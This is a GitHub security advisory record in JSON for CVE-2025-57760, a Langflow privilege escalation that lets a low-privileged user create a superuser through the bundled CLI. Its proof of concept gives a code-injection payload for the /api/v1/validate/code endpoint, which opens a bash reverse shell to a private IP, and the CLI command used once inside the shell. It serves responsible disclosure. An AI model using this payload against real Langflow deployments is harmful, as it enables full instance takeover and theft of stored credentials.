CVE-2025-57760: Langflow Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4gv9-mp8m-592r",
  "modified" : "2025-12-18T15:59:48Z",
  "published" : "2025-08-25T16:21:04Z",
  "aliases" : [ "CVE-2025-57760" ],
  "summary" : "Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)",
  "details" : "This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n<img width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" />\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n  \"code\": \"def foo(p=__import__('os').system(\\\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\\\")):\\n    pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n<img width=\"731\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc\" />\n\n\n5. Log into UI as new superuser:\n\n<img width=\"1262\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b\" />\n\n\n### Impact\n\n- Privilege escalation to superuser — complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage — attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management — superuser can delete other users, reset their passwords",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.0"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langflow-base"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/pull/9152"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langflow-ai/langflow"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-25T16:21:04Z",
    "nvd_published_at" : "2025-08-25T17:15:30Z"
  }
}